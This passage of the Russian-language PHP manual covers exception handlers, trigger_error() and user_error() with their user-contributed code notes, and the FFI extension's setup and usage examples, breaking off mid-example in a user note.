This implies: returning to the script is simply impossible when the exception handler has already been called, since an uncaught exception is not a notice. use your own debug- or notice-log-system for things like that.

Furthermore: While is is still possible to call functions from your script, since the exception handler has already been called exceptions bubbling from that piece of code won't trigger the exception handler again. php will die without leaving any information apart form "uncaught exception with unknown stack frame". So if you call functions from your script, make sure that you catch any exceptions that possibly occur via try..catch inside the exception handler.

For those of you who misinterpreted the essential meaning of the exception handler: it's only use is to handle the abortion of your script gracefully, e.g. in a project like facebook or wikipedia: render a nice error page, eventually hiding information which shall not leak into the public (instead you may want to write to your log or mail the sys-admin or stuff like that).

In other words: Redirecting all php-errors form an error-handler using exceptions - including notices - is a very dumb idea, if you do not intend having your script aborted everytime you didn't set a variable (for example).

my 2 cents.
Anonymous 10-Dec-2009 06:09
When an uncaught exception is handled, execution does NOT return to the script, but rather (unexpectedly, on my end anyway) terminates.

I am using set_error_handler() and set_exception_handler() in conjunction for a system I am currently developing (on v5.3.0 with Xampp). Lets say two E_USER_NOTICES are triggered, the script will die after the first one is processed.

<?php
    set_exception_handler( 'exc_handler' );
    function exc_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
    }
    function errorone() {
        throw new Exception("Test 1");
    }
    function errortwo() {
        throw new Exception("Test 2");
    }
    function test() {
        errorone();
        errortwo();
    }
    test();
    test();
?>

Instead of printing (as I'd expect) "Uncaught exception: Text 1\nUncaught exception: Text 2\nUncaught exception: Text 1\nUncaught exception: Text 2\n"

It is only printed ONCE. I've tried a number of different things, but I can't figure out how to return execution to the script after the EXCEPTION HANDLER has run.

If anyone has a solution on how to return execution (hence, allow the script to log uncaught exceptions but continue processing) then PLEASE email me! Thanks!
joshua dot boyle-petrie at its dot monash dot edu 08-Jan-2009 11:44
Thanks to mastabog we know that throwing an exception within the exception handler will trigger a fatal error and a debugging nightmare.  To avoid throwing an exception within there should be easy.

However, if you use a custom error handler to convert errors to ErrorExceptions suddenly there are a multitude of new ways to accidentally throw exceptions within the exception handler.

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>
Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

The best way I have found to avoid this is to wrap up everything in the exception handler in a try/catch block.
<?php
function exception_handler($e)
{
    try
    {
        // ... normal exception stuff goes here
        print $undefined; // This is the underlying problem
    }
    catch (Exception $e)
    {
        print get_class($e)." thrown within the exception handler. Message: ".$e->getMessage()." on line ".$e->getLine();
    }
}
?>
Output: ErrorException thrown within the exception handler. Message: Undefined variable: undefined on line 14

This speeds up debugging and offers some scalability to any other exceptions accidentally thrown within the exception handler.

Another solution is to restore the error handler at the beginning of the exception handler.  While this is a silver bullet in terms of avoiding the ErrorExceptions, debugging messages then rely on the error_reporting() level and the display_errors directive.  Why mention this?  It might be preferable for production code since we care more about hiding errors from users than convenient debugging messages.
marques at displague dot com 14-Apr-2008 07:19
frank,

Your exception handler is configured to be the handler for all exceptions, yet if a basic 'Exception' is thrown, your static method will error because 'Exception's do not have 'getException'.  Because of this I don't see a real purpose to making the uncaught handler a class that extends Exception.

I do like the idea of using static methods of a general Exception handling class.

<?php
class ExceptionHandler {
    public static function printException(Exception $e)
    {
        print 'Uncaught '.get_class($e).', code: ' . $e->getCode() . "<br />Message: " . htmlentities($e->getMessage())."\n";
    }

    public static function handleException(Exception $e)
    {
         self::printException($e);
    }
}

set_exception_handler(array("ExceptionHandler", "handleException"));

class NewException extends Exception {}
try {
  throw new NewException("Catch me once", 1);
} catch (Exception $e) {
  ExceptionHandler::handleException($e);
}

throw new Exception("Catch me twice", 2);
?>

Gives:
Uncaught NewException, code: 1<br />Message: Catch me once
Uncaught Exception, code: 2<br />Message: Catch me twice

There are much more interesting things that can be done like reformating and optionally displaying or emailing them.  But this class acts a nice container for those functions.
frank at netventures dot com dot au 05-Nov-2007 10:10
Hey all, i've just started to use the exception suite instead of the normal PHP error suite. For those of you looking for an object orientated way to do this without looking down at Glen and Sean's examples (Lesson 1: ALWAYS read the logs!), here you go:

<?php

class NewException extends Exception
{
    public function __construct($message, $code=NULL)
    {
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return "Code: " . $this->getCode() . "<br />Message: " . htmlentities($this->getMessage());
    }

    public function getException()
    {
        print $this; // This will print the return from the above method __toString()
    }

    public static function getStaticException($exception)
    {
         $exception->getException(); // $exception is an instance of this class
    }
}

set_exception_handler(array("NewException", "getStaticException"));
throw new NewException("Catch me!!!", 69);

?>

Let me know if i'm missing something obvious as I left my glasses at home and I just came back from the Melbourne cup (If I won then I wouldn't be at work still!).
reg dot php dot manual at entropy dot ch 09-May-2007 06:59
In my experience, the static keyword is crucial for error handlers which are methods of a class instead of free-standing functions.

    static function exceptionHandler($exception)

works but

    function exceptionHandler($exception)

doesn't and results in a "Fatal error: Exception thrown without a stack frame in Unknown on line 0" message.

"public" is optional as it is the default anyway (but it is probably clearer to write it explicitly).
Glen 03-Mar-2007 12:34
If you want a class instance to handle the exception, this is how you do it :

<?php
class example {
   public function __construct() {
       @set_exception_handler(array($this, 'exception_handler'));
       throw new Exception('DOH!!');
   }

   public function exception_handler($exception) {
       print "Exception Caught: ". $exception->getMessage() ."\n";
   }
}

$example = new example;

?>

See the first post (Sean's) for a static example.  As Sean points out, the exception_handler function must be declared public.
mastabog at hotmail dot com 08-Aug-2006 07:44
A behaviour not documented or discussed enough, yet pretty common is that is that if an exception is thrown from the global exception handler then a fatal error occurs (Exception thrown without a stack frame). That is, if you define your own global exception handler by calling set_exception_handler() and you throw an exception from inside it then this fatal error occurs. It is only natural though, as the callback defined by set_exception_handler() is only called on uncaught (unhandled) exceptions so if you throw one from there then you get this fatal error as there is no exception handler left (you override the php internal one by calling set_exception_handler()), hence no stack frame for it.

Example:

<?php

function myExceptionHandler (Exception $ex)
{
    throw $ex;
}

set_exception_handler("myExceptionHandler");

throw new Exception("This should cause a fatal error and this message will be lost");

?>

Will cause a Fatal error: Exception thrown without a stack frame

If you skip/comment the set_exception_handler("...") line then the internal PHP global handler will catch the exception and output the exception message and trace (as string) to the browser, allowing you to at least see the exception message.

While it is a very good idea to always define your own global exception handler by using the set_exception_handler() function, you should pay attention and never throw an exception from it (or if you do then catch it).

Finally, every serious coder should use an IDE with debugging capabilities. Tracking down an error like this becomes a trivial matter by using simple debugging "Step into" commands (I for one recommend Zend IDE v5.2 at the moment of this writing). I have seen numerous messages on the internet with people wondering why this message pops up.

Cheers

p.s. Other causes for this error which are somehow unrelated to this is when you throw an exception from a destructor (the reasons behind that are similar though, the global handler might no longer exist due to the php engine shutting the page down).
mc-php-doco at oak dot homeunix dot org 07-Apr-2006 09:41
This seems not to work when calling the PHP binary with the '-r' flag.

For example, if I run it like this:

    php -r '
      function exception_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
      }

      set_exception_handler("exception_handler");

      throw new Exception("Uncaught Exception");
      echo "Not Executed\n";
    '

Or if I place it in a file and run it like this:

    php -r 'include "./tmp.php";'

I get a stack trace instead of having the function 'exception_handler' called.  If run it like this:

    php tmp.php

It works fine.

(Why run code from '-r'?  Sometimes it's useful to add stuff around the include like calls to microtime for benchmarks, or to include a library and then call a few functions from the library, all in an ad-hoc way without having to create new files.)

PHP versions 5.1.2 and 5.0.4.
ch at westend dot com 21-Feb-2006 07:06
It seems that although the Exception contains a backtrace itself, the stack for the debug_backtrace() function is empty when entering an exception handler. This is very inconvinient. See bug #36477.
sean at seanodonnell dot com 23-Oct-2005 04:48
Using the 'set_exception_handler' function within a class, the defined 'exception_handler' method must be declared as 'public' (preferrable 'public static' if you use the "array('example', 'exception_handler')" syntax).

<?php
class example {
    public function __construct() {
        @set_exception_handler(array('example', 'exception_handler'));
        throw new Exception('DOH!!');
    }

    public static function exception_handler($exception) {
        print "Exception Caught: ". $exception->getMessage() ."\n";
    }
}

$example = new example;

echo "Not Executed\n";
?>

Declaring the 'exception_handler' function as 'private' causes a FATAL ERROR.

[derick: red. updated statement about static a bit]


Вызывает пользовательскую ошибку/предупреждение/уведомление

  • « set_exception_handler
  • user_error »
  • PHP Manual
  • Функции обработки ошибок
  • Вызывает пользовательскую ошибку/предупреждение/уведомление

trigger_error

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

trigger_error — Вызывает пользовательскую ошибку/предупреждение/уведомление

Описание

trigger_error(string $message, int $error_level = E_USER_NOTICE): bool

Используется для вызова пользовательских ошибок. Можно использовать в связке со встроенным обработчиком ошибок, а также с пользовательским обработчиком, заданным функцией set_error_handler().

Эта функция может быть полезной, если требуется сгенерировать определённую реакцию на исключение во время выполнения.

Список параметров

message

Сообщение, соответствующее этой ошибке. Ограничено 1024 байтами в длину. Символы дальше 1024-го будут обрезаны.

error_level

Назначенный тип ошибки. Работает только с семейством констант E_USER. По умолчанию E_USER_NOTICE.

Возвращаемые значения

Функция возвращает false, если задан неправильный error_level, и true в остальных случаях.

Примеры

Пример #1 Пример использования trigger_error()

Более подробный пример приведён в описании функции set_error_handler().

<?php
if ($divisor == 0) {
trigger_error("Не могу поделить на ноль", E_USER_ERROR);
}
?>

Примечания

Внимание

HTML-сущности в message не экранированы. Чтобы сообщение можно было отобразить в браузере, преобразуйте его функцией htmlentities().

Смотрите также

  • error_reporting() - Задаёт, какие ошибки PHP попадут в отчёт
  • set_error_handler() - Задаёт пользовательский обработчик ошибок
  • restore_error_handler() - Восстанавливает предыдущий обработчик ошибок
  • Константы уровней ошибок

User Contributed Notes

phpmanual at allanid dot com 16-Aug-2022 05:17
Note that whether or not the script is terminated by this function call, is determined by the error_level.

Eg. E_USER_ERROR will terminate the script while E_USER_NOTICE will not.
spravce at jednota dot podborany dot cz 10-Oct-2019 10:18
Trigger error does not trim  1024+ chars length messages if you use your own error handler
eslindsey at gmail dot com 07-Feb-2016 08:58
For those of you wanting one (or more) lines of context on your call to trigger_error, I offer this. Would be nice to use \n to get a proper stack trace, but it seems trigger_error escapes it; therefore, I use a comma.

<?php
/**
 * Behaves like trigger_error, but appends part of a stack trace to the error
 * message. This allows you to see where trigger_error was called from, instead
 * of just seeing the file and line number of the call to trigger_error.
 *
 * @param   error_msg   The designated error message for this error
 * @param   error_type  The designated error type for this error (E_USER_*)
 * @param   context     Number of stack frames to append, defaults to 1
 * @return  FALSE if wrong error_type is specified, TRUE otherwise
 */
function trigger_error_with_context($error_msg, $error_type, $context = 1) {
    $stack = debug_backtrace();
    for ($i = 0; $i < $context; $i++)
    {
        if (false === ($frame = next($stack))
            break;
        $error_msg .= ", from " . $frame['function'] . ':' . $frame['file'] . ' line ' . $frame['line'];
    }
    return trigger_error($error_msg, $error_type);
}
?>
aydin dot kn12 at gmail dot com 20-Jun-2014 07:48
If error_type is E_USER_ERROR then trigger_error throw FATAL ERROR and script stopped after this line.

<?php

$msg = 'This is the test message for echo';

trigger_error('Error message', E_USER_ERROR); // Script stopped after this line...

echo $msg; // This line does not appear...

?>
PhpMyCoder 15-Jul-2010 03:18
For those of you looking to use your own file or line number in the error (possibly using debug_backtrace()) instead of the ones created by trigger_error(), here is a solution:
Create a custom function to handle E_USER_ERRORs that simply outputs the error type and message, while excluding the line number and file trigger_error() reports. You may also configure it to handle user warnings and notices if necessary (I did in the example below).

<?php
function error_handler($level, $message, $file, $line, $context) {
    //Handle user errors, warnings, and notices ourself
    if($level === E_USER_ERROR || $level === E_USER_WARNING || $level === E_USER_NOTICE) {
        echo '<strong>Error:</strong> '.$message;
        return(true); //And prevent the PHP error handler from continuing
    }
    return(false); //Otherwise, use PHP's error handler
}

function trigger_my_error($message, $level) {
    //Get the caller of the calling function and details about it
    $callee = next(debug_backtrace());
    //Trigger appropriate error
    trigger_error($message.' in <strong>'.$callee['file'].'</strong> on line <strong>'.$callee['line'].'</strong>', $level);
}

//Use our custom handler
set_error_handler('error_handler');

//-------------------------------
//Demo usage:
//-------------------------------
function abc($str) {
    if(!is_string($str)) {
        trigger_my_error('abc() expects parameter 1 to be a string', E_USER_ERROR);
    }
}

abc('Hello world!'); //Works
abc(18); //Error: abc() expects parameter 1 to be a string in [FILE].php on line 31
?>

This is a pretty simple concept and I'm sure most of you know this, but for those that don't, let it serve as a good example!
tudor AT iccblue DOT com DOT nospam 15-Oct-2009 08:07
It actually turns out - at least on PHP 5.2.6 on XAMPP (Windows) that for the custom error handler, you will need to set $errorType as the first parameter, and only the second parameter as $message, i.e. in reverse order compared to how the manual states it now.
Howard Yeend 05-Jul-2009 04:39
trigger_error always reports the line and file that trigger_error was called on. Which isn't very useful.

eg:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
if(is_numeric($var)) {
 /* do some stuff*/
} else {
 trigger_error('var must be numeric');
}
}
?>

will output "Notice: var must be numeric in functions.php on line 6"
whereas "Notice: var must be numeric in main.php on line 4" would be more useful

here's a function to do that:

<?php

function error($message, $level=E_USER_NOTICE) {
$caller = next(debug_backtrace());
trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

So now in our example:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
    if(is_numeric($var)) {
         /* do some stuff*/
    } else {
         error('var must be numeric');
    }
}

function error($message, $level=E_USER_NOTICE) {
    $caller = next(debug_backtrace());
    trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

now outputs:

"Notice: var must be numeric in doFunction called from main.php on line 4"
webmaster at paramiliar dot com 03-Jan-2008 11:11
We wanted to be able to pass an SQL query to the error handler on our site so we could monitor SQL problems, you cant do this through normal methods so we came up with this bridge script that 100% works

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
richard at 2006 dot atterer dot net 03-Apr-2006 09:28
Beware, trigger_error() is absolutely useless for transporting your own function's error messages in $php_errormsg:

ini_set('track_errors', TRUE);
function x() { trigger_error('MY ERROR'); }
@x();
echo "Error 1: \\"$php_errormsg\\"\\n";
@file_get_contents('/nonexisting');
echo "Error 2: \\"$php_errormsg\\"\\n";

This outputs:

Error 1: ""
Error 2: "failed to open stream: No such file or directory"

This behaviour is consistent with the description of $php_errormsg, which says that the variable will only be available within the scope in which the error occurred. The problem can be worked around with a custom error handler like the one below. However, I'm undecided whether changing the language in this way is good:

function errHandler($errno, $errstr, $errfile, $errline) {
  global $php_errormsg; $php_errormsg = $errstr;
}
set_error_handler('errHandler');
mano at easymail dot hu 26-Apr-2005 05:13
I am not so familiar with this but I think you can reach some of the functionality of try..catch with this function. I would disagree or correct the previous note. The @ is not the catch, it sets the error_reporting to 0 tempolary but with set_error_handler you can try to imitate some behavior like catch.
I've just made this to try if it possible, I never tried in projects but I think could work in php 4. Actually if you want to have the Trace of the error you need to use php4.3+.
Maybe not many of you will create new scripts in php4 and try to have some features from php5 but in some cases (extending older projects) this could be better error handling.

If this is a wrong approach, waiting for comments, if its not, use it!

<?
function catch($errno, $errstr, $errfile, $errline){
    $GLOBALS['throw'] = $errstr;
    $GLOBALS['throw_info'] = array(
        'Message'=>$errstr
        ,'Code'=>$errno
        ,'Line'=>$errline
        ,'File'=>$errfile
        ,'Trace'=>debug_backtrace()
    );

}
set_error_handler('catch');

function badgirl(){
    if(true){ //error occure
        trigger_error("BadGirlWithError",E_USER_NOTICE); // as throw with notice
        return; // ...because trigger_error does not stop the function
    }else{
       return true;
    }
}

// Try
$GLOBALS['throw'] = null; // ...try...
$sheis = badgirl(); //could be @badgirl, display_errors is something else, this just the handling
// ..try
if($GLOBALS['throw']){  // This actually catch re-throws too...
    switch($GLOBALS['throw']){ // Catch
        case 'GoodGirlException':
            die('No bad girl today!');
        break;
        case 'BadGirlWithError':
            die('Bad girl has some error');
        break;
        default:
            return; // or you can make another trigger_error and re-throw another 'exception' or some other action
    }
}
echo "You will never see this line - @ only supress message, not a control flow";
echo "Wrong! You could see this:)";

?>

.mano
dzn'tM@ter 20-Jan-2004 09:05
Some might think that trigger_error is like a throw() or an err.raise construction, and @ works like catch(){} one - in fact it's NOT.

function badgirl(){
    trigger_error("shame on me",E_USER_ERROR);
    return true;
}

$sheis = @badgirl();
echo "You will never see this line - @ only supress message, not a control flow";
robert at klugher dot com 23-Sep-2003 05:12
This one took me some time ...

When you use trigger_error with your own error handler, the class instances are destroyed (don't know how to say it better, I am not an expert).

So, if you try to call a class function from within the error handler function, you will get 'Call to a member function on a non-object' error, even if this function works perfectly in the rest of your script.

Solution : re-use the xxx = new yyy to re-create the instance in the beginning of your error handler ... and then you can call the class functions you want !
mail at dooley dot cjb dot net 29-Jul-2003 07:16
i recently began using a custom error handling class. the biggest problem is that, with call time pass by reference deprecated, you can't manipulate the error handler class after assigning at as the error handler (and it appears not to be returned by the set_error_handler method as the old error handler). my goal was to be able to store up all my non-fatal errors and print them at the end of script execution. that way i can use 'trigger_error' (which i actually have wrapped in a static method ErrorHandler::throwException for portability purposes... which is a pain because it always has the same line number information!!) for all kinds of errors, including user input erros. so when i check a user's password, for instance i would trigger a warning that said 'incorrect password'. of course i would only want this to print out the error once the script had completed.

so in my error handler class i have the following in the constructor:

function ErrorHandler()
{
    $this->error_messages  = array();
    error_reporting (E_ALL);
    set_error_handler(array($this,"assignError"));
}

and my assignError method:
//accept the required arguments
function assignError($errno, $errstr, $errfile, $errline)
{
    //get the error string
    $error_message = $errstr;
//if in debug mode, add line number and file info
 if(ErrorHandler::DEBUG())
 $error_message .= "<br>".basename($errfile).",line: ".$errline;

            switch ($errno)
            {
                //if the error was fatal, then add the error
                //display an error page and exit
                case ErrorHandler::FATAL():
                    $this->setType('Fatal');
                    $this->addError($error_message);
                    Display::errorPage($this->errorMessages());
                    exit(1);
                break;
                //if it was an error message, add a message of
                //type error
                case ErrorHandler::ERROR():
                    $this->setType('Error');
                    $this->addError($error_message);
                break;
                //if it was a warning, add a message of type
                //warning
                case ErrorHandler::WARNING():
                    $this->setType('Warning');
                    $this->addError($error_message);
                break;
                //if it was some other code then display all
                //the error messages that were added
                default:
                    Display::errorRows($this->errorMessages());
                break;
            }
            //return a value so that the script will continue
            //execution
            return 1;
}

the key part there is the 'default' behaviour. i found that if i call trigger_error with anything other than E_USER_ERROR, E_USER_WARNING or E_USER_NOTICE, then error code '2' is passed to the handler method. so when it is time to print all my non-fatal errors, like 'password and confirm password don't match' or something, i call ErrorHandler::printAllErrors()

        function printAllErrors()
        {
            trigger_error("",2);
        }

which leads to the default behaviour in my switch statement in the assignError method above. the only problem with this is that the weird bug 'Problem with method call' that occurs with some static method calls (that one person on the bug lists said was fixed and another said wouldn't be fixed until version 5) also produces error code 2!! i have just taken to suppressing these errors with @, because despite the alledged problem with the method call, the script still seems to execute fine.

iain.
someone at attbi dot com 23-May-2003 09:24
the idea is never to give out file names, line numbers, and cryptic codes to the user. Use trigger_error() after you used set_error_handler() to register your own callback function which either logs or emails the error codes to you, and echo a simple friendly message to the user.

And turn on a more verbose error handler function when you need to debug your scripts. In my init.php scripts I always have:

if (_DEBUG_) {
    set_error_handler ('debug_error_handler');
}
else {
    set_error_handler ('nice_error_handler');
}
sl0th at r00thell dot ath dot cx 20-May-2003 07:25
Well this is a good way on debuging your php scripts, but i wouldn't feel
too comfortable by giving out my web servers structure.
Notice that what helps you finding and isolating errors in your php helps also a potential attacker.
Or maybe i am just paranoid, but its worth mention it.
ceo at l-i-e dot com 28-Oct-2002 05:20
You should be using set_error_handler (possibly in conjuction with error_log and/or trigger_error) if you want FILE and LINE number information.
You don't need macros for this.


Псевдоним trigger_error

  • « trigger_error
  • FFI »
  • PHP Manual
  • Функции обработки ошибок
  • Псевдоним trigger_error

user_error

(PHP 4, PHP 5, PHP 7, PHP 8)

user_error — Псевдоним trigger_error()

Описание

Функция является псевдонимом: trigger_error().

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс внешней функции (Foreign Function Interface)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Простые примеры использования FFI
    • Callback-функции PHP
    • Комплексный пример PHP/FFI/preloading
  • FFI — Основной интерфейс к коду и данным C
    • FFI::addr — Создаёт неуправляемый указатель на данные C
    • FFI::alignof — Возвращает величину выравнивания
    • FFI::arrayType — Динамически конструирует новый тип С массива
    • FFI::cast — Производит преобразование типа C
    • FFI::cdef — Создаёт новый объект FFI
    • FFI::free — Высвобождает неуправляемую структуру данных
    • FFI::isNull — Проверяет, является ли FFI\CData нулевым указателем
    • FFI::load — Загрузить декларации C из заголовочного файла
    • FFI::memcmp — Сравнивает две области памяти
    • FFI::memcpy — Копирует содержимое одной области памяти в другую
    • FFI::memset — Заполнить область памяти
    • FFI::new — Создаёт структуру данных C
    • FFI::scope — Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки
    • FFI::sizeof — Возвращает размер данных или типа C
    • FFI::string — Создаёт строку PHP из области памяти
    • FFI::type — Создаёт объект FFI\CType из декларации С
    • FFI::typeof — Получает FFI\CType для FFI\CData
  • FFI\CData — Доступ к данным C
  • FFI\CType — Доступ к типам C
    • FFI\CType::getAlignment — Описание
    • FFI\CType::getArrayElementType — Описание
    • FFI\CType::getArrayLength — Описание
    • FFI\CType::getAttributes — Описание
    • FFI\CType::getEnumKind — Описание
    • FFI\CType::getFuncABI — Описание
    • FFI\CType::getFuncParameterCount — Описание
    • FFI\CType::getFuncParameterType — Описание
    • FFI\CType::getFuncReturnType — Описание
    • FFI\CType::getKind — Описание
    • FFI\CType::getName — Описание
    • FFI\CType::getPointerType — Описание
    • FFI\CType::getSize — Описание
    • FFI\CType::getStructFieldNames — Описание
    • FFI\CType::getStructFieldOffset — Описание
    • FFI\CType::getStructFieldType — Описание
  • FFI\Exception — Исключения FFI
  • FFI\ParserException — Исключения парсера FFI

User Contributed Notes

Nathaniel Sabanski 18-May-2023 10:30
Quickstart from Rasmus Lerdorf's 25 years of PHP talk.

<?php
$ffi = FFI::cdef(
    "int printf(const char *format, ...);",
    "libc.so.6");
$ffi->printf("Hello %s!\n", "world");
?>

Requires ffi.enable=1


Введение

Модуль позволяет загружать общие(shared) библиотеки (.DLL или .so), вызывать C-функции и получать доступ с структурам языка C из PHP без необходимости глубоко изучать API модулей Zend и стороннего, "промежуточного" языка. Публичный API реализован как один единственный класс FFI с некоторым набором статических методов (некоторые из них могут вызываться динамически) и переопределёнными методами объекта, что позволяет взаимодействовать с данными С.

Предостережение

Модуль FFI довольно опасен, поскольку позволяет взаимодействовать с системой на очень низком уровне. Модуль FFI должен использоваться только разработчиками, знакомыми с языком С и умеющими использовать его API. Для минимизации риска, модуль может быть запрещён директивой ffi.enable в php.ini.

Замечание:

Модуль FFI не делает классический API модулей PHP устаревшим; он предназначен для взаимодействия с функциями и структурами данных C.

Подсказка

Сейчас доступ к структурам данных FFI примерно в 2 раза медленнее чем доступ к объектам и массивам PHP. Таким образом, нет повода использовать FFI для ускорения; однако его можно использовать для сокращения потребляемой памяти.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы модуля необходимо установить библиотеку » libffi.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для включения модуля FFI, PHP надо сконфигурировать с ключом --with-ffi.

Пользователям Windows будет необходимо добавить php_ffi.dll в php.ini.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки FFI
Имя | По умолчанию | Место изменения | Список изменений
ffi.enable | "preload" | PHP_INI_SYSTEM |
ffi.preload | "" | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

ffi.enable string

Позволяет разрешить ("true") или запретить ("false") использование FFI API, либо ограничить использование только для CLI SAPI и предзагруженных файлов ("preload").

Ограничения FFI API влияют только на класс FFI, но не на перезагруженные функции объекта FFI\CData. Это значит, что можно создать объекты FFI\CData в предзагружаемых файлах и использовать потом напрямую из скриптов PHP.

ffi.preload string

Позволяет предзагружать привязки FFI во время старта, что невозможно с FFI::load(), если включено opcache.preload_user. Эта директива принимает список разделителей имён файлов DIRECTORY_SEPARATOR. Предзагруженные привязки доступны с помощью вызова FFI::scope().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Данный модуль не определяет никакие константы.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Простые примеры использования FFI
  • Callback-функции PHP
  • Комплексный пример PHP/FFI/preloading

User Contributed Notes

There are no user contributed notes for this page.


Простые примеры использования FFI

Перед погружением в детали FFI API, давайте рассмотрим несколько примеров упрощённого использования FFI API в стандартных задачах.

Замечание:

Для некоторых из этих примеров понадобится библиотека libc.so.6. Они не будут работать в системах, где её нет.

Пример #1 Вызов функции из общей библиотеки

<?php
// создаём объект FFI, загружаем libc и экспортируем функцию printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // это стандартная декларация C
"libc.so.6");
// вызываем printf()
$ffi->printf("Привет, %s!\n", "мир");
?>

Результат выполнения данного примера:

Привет, мир!

Замечание:

Обратите внимание, что для некоторых функций C требуются определённые соглашения о вызовах, например: __fastcall, __stdcall или ,__vectorcall.

Пример #2 Вызов функции и возврат структуры через аргумент

<?php
// создаём привязку gettimeofday()
$ffi = FFI::cdef("
typedef unsigned int time_t;
typedef unsigned int suseconds_t;

struct timeval {
time_t tv_sec;
suseconds_t tv_usec;
};

struct timezone {
int tz_minuteswest;
int tz_dsttime;
};

int gettimeofday(struct timeval *tv, struct timezone *tz);
", "libc.so.6");
// создаём структуры данных C
$tv = $ffi->new("struct timeval");
$tz = $ffi->new("struct timezone");
// вызываем gettimeofday()
var_dump($ffi->gettimeofday(FFI::addr($tv), FFI::addr($tz)));
// получаем доступ к полю структуры данных C
var_dump($tv->tv_sec);
// печатаем всю структуру данных
var_dump($tz);
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)
int(1555946835)
object(FFI\CData:struct timezone)#3 (2) {
  ["tz_minuteswest"]=>
  int(0)
  ["tz_dsttime"]=>
  int(0)
}

Пример #3 Доступ к существующим переменным C

<?php
// создаём объект FFI, загружаем libc и экспортируем переменную errno
$ffi = FFI::cdef(
"int errno;", // это стандартная декларация C
"libc.so.6");
// печатаем errno
var_dump($ffi->errno);
?>

Результат выполнения данного примера:

int(0)

Пример #4 Создание и модификация переменной C

<?php
// создаём переменную C типа int
$x = FFI::new("int");
var_dump($x->cdata);

// простое присваивание
$x->cdata = 5;
var_dump($x->cdata);

// не простое присвоение
$x->cdata += 2;
var_dump($x->cdata);
?>

Результат выполнения данного примера:

int(0)
int(5)
int(7)

Пример #5 Работа с массивами C

<?php
// создаём структуру данных
$a = FFI::new("long[1024]");
// работаем с ней как с обычным массивом PHP
for ($i = 0; $i < count($a); $i++) {
$a[$i] = $i;
}
var_dump($a[25]);
$sum = 0;
foreach ($a as $n) {
$sum += $n;
}
var_dump($sum);
var_dump(count($a));
var_dump(FFI::sizeof($a));
?>

Результат выполнения данного примера:

int(25)
int(523776)
int(1024)
int(8192)

Пример #6 Работа с перечислениями C

<?php
$a = FFI::cdef('typedef enum _zend_ffi_symbol_kind {
ZEND_FFI_SYM_TYPE,
ZEND_FFI_SYM_CONST = 2,
ZEND_FFI_SYM_VAR,
ZEND_FFI_SYM_FUNC
} zend_ffi_symbol_kind;
');
var_dump($a->ZEND_FFI_SYM_TYPE);
var_dump($a->ZEND_FFI_SYM_CONST);
var_dump($a->ZEND_FFI_SYM_VAR);
?>

Результат выполнения данного примера:

int(0)
int(2)
int(3)

User Contributed Notes

wowabbs+php at gmail dot com 11-Dec-2020 07:42
<?
  if(!dl("ffi")) // Load the extension
      throw new Exception('Cound not load the FFI extension.');

  function setWindowsDesktop($bmpFilePath)
  {
    define('SPI_SETDESKWALLPAPER'  , 0x14);
    define('SPIF_UPDATEINIFILE'    ,  0x1);
    define('SPIF_SENDWININICHANGE' ,  0x2);
    assert(File_Exists($bmpFilePath));

    // declare the Win32 API function used to change desktop settings.
    $User32 = FFI::cdef(<<<'IDL'
